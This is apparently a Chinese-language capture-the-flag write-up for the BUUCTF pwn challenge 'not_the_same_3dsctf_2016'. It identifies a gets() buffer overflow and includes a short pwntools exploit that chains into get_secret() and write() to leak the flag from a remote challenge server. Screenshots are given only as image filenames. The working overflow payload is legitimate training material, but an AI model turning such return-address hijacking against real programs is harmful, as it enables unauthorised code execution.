BUUCTF-PWN-not_the_same_3dsctf_2016

checksec

image-20211205214443908

IDA

image-20211205214701698

main函数中的gets函数可以溢出

image-20211205214734613

这个函数读取了flag,并存入到变量fl4g中,且其在bss段,如下图:

image-20211205214755583

那么我们只需要使get_secret()函数运行,然后再利用write函数将flag写出就行了

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

p = remote('node4.buuoj.cn', 29733)
elf = ELF('./nts32')

write = elf.sym['write']
bss_fl4g = 0x080eca2d

payload = b'a' * (0x2d) + p32(0x080489A0) + p32(write) + p32(bss_fl4g) + p32(1) + p32(bss_fl4g) + p32(45)

p.sendline(payload)

p.interactive()

结果

image-20211205215237829